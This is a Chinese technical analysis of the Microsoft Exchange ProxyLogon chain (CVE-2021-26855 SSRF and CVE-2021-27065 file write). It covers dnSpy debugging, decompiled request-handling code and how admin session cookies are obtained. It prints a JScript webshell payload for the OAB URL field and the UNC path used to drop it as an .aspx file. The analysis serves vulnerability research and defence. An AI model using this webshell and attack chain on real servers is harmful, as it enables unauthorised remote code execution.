作者 1chig0 1umi3re yudhui @SJTU
近期,微软Exchange邮件服务器的高危安全漏洞引起了安全圈的普遍关注,主要包括的漏洞类型和CVE编号如下所示:
其中CVE-2021–26855是一个SSRF,攻击者可以不经过任何类型的身份验证来利用此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是一个任意文件写入漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写入,属于非常高危的安全漏洞。
在本文中,我们首先介绍了Exchange处理请求的流程和对其调试方法;接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理,最后较为详细的描述了漏洞相关的ProxyLogon接口部分的详细验证过程。四个安全漏洞的利用过程示意图如上所示[10]。
Exchange系统的服务架构如下图所示,由前端和多个后端组件组成。用户基于各类协议对Exchange的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例,来自Outlook或Web客户端的请求会首先经过IIS,然后进入到Exchange的HTTP代理,代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示[11]:
相关分析文章一般只分析了漏洞的原理,却忽略了介绍如何调试代码的方法,由于对.NET框架的调试相对来说比较复杂,所以首先介绍一下我们的调试方法。
dnspy是一个.NET反汇编和调试编辑器[1]。它可以对基于.NET框架编写的动态链接库(.dll)进行反编译,让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况,对程序进行下断点调试。
通过dnspy可以直接对dll库进行逆向,直接打开被调试文件即可,十分方便。
对于Exchange的漏洞,我们用到的最关键的dll库为Miscrosoft.Exchange.FrontEndProxy.dll
,这个库中包含了Exchange将前端请求转发到后端的过程。
不过由于整个Http请求还经过了一些不包含在Exchange内的运行库(如.Net自带的System.Web库),仅凭静态分析无法跟入这些库中,因此还需要动态调试。
通过dnspy的附加到进程功能,我们可以动态调试.NET程序。然而由于Exchange程序逻辑极其复杂,相关进程较多,如何从复杂的进程中找到被调试的进程是一个难点。
首先通过IIS管理器可以查看当前服务器的应用程序池,其中Exchange的应用程序池以MSExchange
为开头。
随后查看IIS服务相关的所有进程。进入C:\Windows\System32\inetsrv
,执行appcmd list wp
,可以查看进程名和进程号。
经过测试,applicationPool.MSExchangeECPAppPool
是本次漏洞的相关进程。于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进行调试了。
CVE-2021-26855是一个SSRF漏洞。恶意用户可以在远程绕过安全验证向任意端口发送数据。
研究人员对补丁前后的dll库进行diff,发现在Microsoft.Exchange.FrontEndHttpProxy
的BEResourceRequestHandler
类中,新增了ShouldBackendRequestAnonymous
方法[2]。因此我们可以从这个类入手。
BEResourceRequestHandler
是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest
中被引用,而要创建这个类的实例,首先需要函数BEResourceRequestHandler.CanHandle()
返回True。
分析CanHandle
函数,可以发现返回True需要以下两个条件:
X-BEResource
键;private static string GetBEResouceCookie(HttpRequest httpRequest)
{
string result = null;
HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
if (httpCookie != null)
{
result = httpCookie.Value;
}
return result;
}
public static bool IsResourceRequest(string localPath)
{
ArgumentValidator.ThrowIfNull("localPath", localPath);
return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}
SelectHandlerForUnauthenticatedRequest
函数在OnPostAuthorizeInternal
中被调用。httpHandler
会被设置为BEResourceRequestHandler
的一个实例,由于BEResourceRequestHandler
继承于ProxyRequstHandler
,因此会进入((ProxyRequestHandler)httpHandler).Run(context)
,并最终在HttpContext.RemapHandler
中把该httpHandler
设置给this._remapHandler
,即是context.Handler
。
接下来,进入System.Web.HttpApplication
中 CallHandlerExecutionStep
接口的HttpApplication.IExecutionStep.Execute()
函数。首先,从context.Handler
获取handler
,即我们之前提到的BEResourceRequestHandler
,由于BEResourceRequestHandler
继承与ProxyRequestHandler
类,而该类又继承了IHttpAsyncHandler
类,因此会进入到如下图所示的if分支当中,并在图中的3872行调用ProxyRequestHandler.BeginProcessRequest()
函数。
接下来,在ProxyRequestHandler.BeginProcessRequest
中会调用ProxyRequestHandler.BeginCalculateTargetBackEnd
,在ProxyRequestHandler.BeginCalculateTargetBackEnd
中调用ProxyRequestHandler.InternalBeginCalculateTargetBackEnd
,最终进入到BEResourceRequestHandler.ResolveAnchorMailbox
。
BEResourceRequestHandler.ResolveAnchorMailbox
函数会调用BEResourceRequestHandler.GetBEResouceCookie
获取键X-BEResource
的值,然后将其传入BackEndServer.FromString
中。
在BackEndServer.FromString
函数中,首先根据~将X-BEResource
的值分割为两部分,前一部分作为fqdn,后一部分则是version的值。
函数继续执行,经过一系列函数调用:后端服务器的目标FQDN计算完后调用OnCalculateTargetBackEndCompleted
函数,该函数又调用InternalOnCalculateTargetBackEndCompleted
函数,紧接着调用BeginValidateBackendServerCacheOrProxyOrRecalculate
函数,然后调用BeginProxyRequestOrRecalculate
函数,最终进入到BeginProxyRequest
函数中。其中调用GetTargetBackendServerUrl
函数获取向backend转发请求的URL。
GetTargetBackendServerUrl
中将调用GetClientUrlForProxy
函数构造发起请求的URL。
最终调用ProxyRequestHandler.CreateServerRequest(uri)
向backend发起请求。
以上即是SSRF漏洞的整个流程。
CVE-2021–27065是一个任意文件写入漏洞,相比于CVE-2021–26855简单得多。
首先需要一个管理员账号,进入Servers->Virtual Directories->OAB
编辑OAB配置,在外部链接中写入shell并保存。
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
接下来输入文件路径并重置。
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx
shell即可成功写入。
由于漏洞内容较为敏感,大部分文章到这里的分析很少。我们通过对协议分析以及自己的理解,还原了proxylogon的技术细节。
Autodiscover是Exchange中的一个服务,该服务可以帮助客户端(例如Outlook)以最少的用户输入来进行电子邮箱的配置。因为在前文提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN,因此可以利用该服务。
Autodiscover的请求格式可以在官方文档[6]中找到。
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>Administrator@exploittest.xyz</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。
一个正常的Connect类型请求如图所示[5],包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。
各个字段的具体含义如下图所示[5]。
通过Burpsuite拦截数据包可以看到,exploit利用SSRF漏洞访问了Exchange后端的/ecp/proxyLogon.ecp
路径,从响应中得到了ASP.NET_SessionId
以及msExchEcpCanary
两个Cookie,根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及用户的登录凭证。
为了了解它们是如何生成的,我们查看IIS管理器,可以找到ecp
的后端.NET应用程序物理路径。
在该物理路径下的.NET应用配置文件web.config
中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp
是由ProxyLogonHandler
来处理的,然而对相应的dll进行反编译后发现该Handler
仅修改了HTTP响应的状态码。
最终通过调试后发现,真正与msExchEcpCanary
以及ASP.NET_SessionId
相关的代码是在类RbacModule
中的,通过web.config
可以看到RbacModule
作为应用的其中一个模块用于处理HTTP请求。
在该模块中由函数Application_PostAuthenticateRequest
具体实现对HTTP请求的解析。相关关键代码如下,首先函数根据httpContext
生成AuthenticationSettings
实例。
在AuthenticationSettings
的构造函数中,由于所有的if语句均不满足,函数会根据context
生成一个RbacSettings
实例,并赋值给自己的Session
属性。
而在RbacSettings
的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp
结尾,若是则进入下方的if分支,利用请求数据创建SerializedAccessToken
实例。
分析SerializedAccessToken
类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r
,根节点的at
属性对应访问令牌中的认证类型、ln
属性对应访问令牌中的登录名称;根节点的子节点为SID节点,节点名字为s
,当中的属性t
对应SID类型,属性a
对应SID属性,节点中的文本为SID。其序列化函数定义如下,可以看到令牌大致与Windows中的安全访问令牌内容相似。
随后构造函数根据请求头部的msExchLogonMailbox
字段以及logonUserIdentity
变量调用GetInboundProxyCaller
函数获取该代理请求的发起服务器。若返回结果不为空则调用EcpLogonInformation.Create
函数创建一个EcpLogonInformation
实例,再用该实例创建一个EcpIdentity
实例。
Create
函数首先根据logonMailboxSddlSid
生成安全标识符实例,然后根据proxySecurityAccessToken
参数生成SerialzedIdentity
实例,并最后生成EcpLogonInformation
实例。而根据名称可知logonUserIdentity
定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。
之后程序回到RbacSettings
的构造函数中,在响应中添加ASP.NET_SessionId
Cookie。
程序接下来返回到RbacModule
的函数中,在AuthenticationSettings
实例生成后其Session
属性被赋值给httpContext.User
,并进入if分支调用CheckCanary
函数。
CheckCanary
函数又将调用如下所示的SendCanary
函数,该函数首先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则生成一个新的Canary并将其加入到响应的Cookie中。从而我们能够构造满足要求的请求通过SSRF访问ecp/proxyLogon.ecp
获得管理员的凭证。
最后根据CVE-2021–27065发送的请求包构造请求,即可成功写入shell,不再赘述。
Exchange的架构设计中不允许用户直接访问后端,而是要通过前端服务作为代理来进行访问。然而,前端在处理代理请求的过程中由于对特定Cookie的内容没有进行充分检查,导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后,攻击者又利用了后端管理服务没有对文件类型进行检查的漏洞,构造恶意输入以及恶意文件后缀名实现了WebShell的写入。
【1】https://github.com/dnSpy/dnSpy
【2】https://testbnull.medium.com/phân-tích-lỗ-hổng-proxylogon-mail-exchange-rce-sự-kết-hợp-hoàn-hảo-cve-2021-26855-37f4b6e06265
【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/[MS-OXCMAPIHTTP].pdf
【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/[MS-OXDSCLI].pdf
【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
【9】https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/
【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/
【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016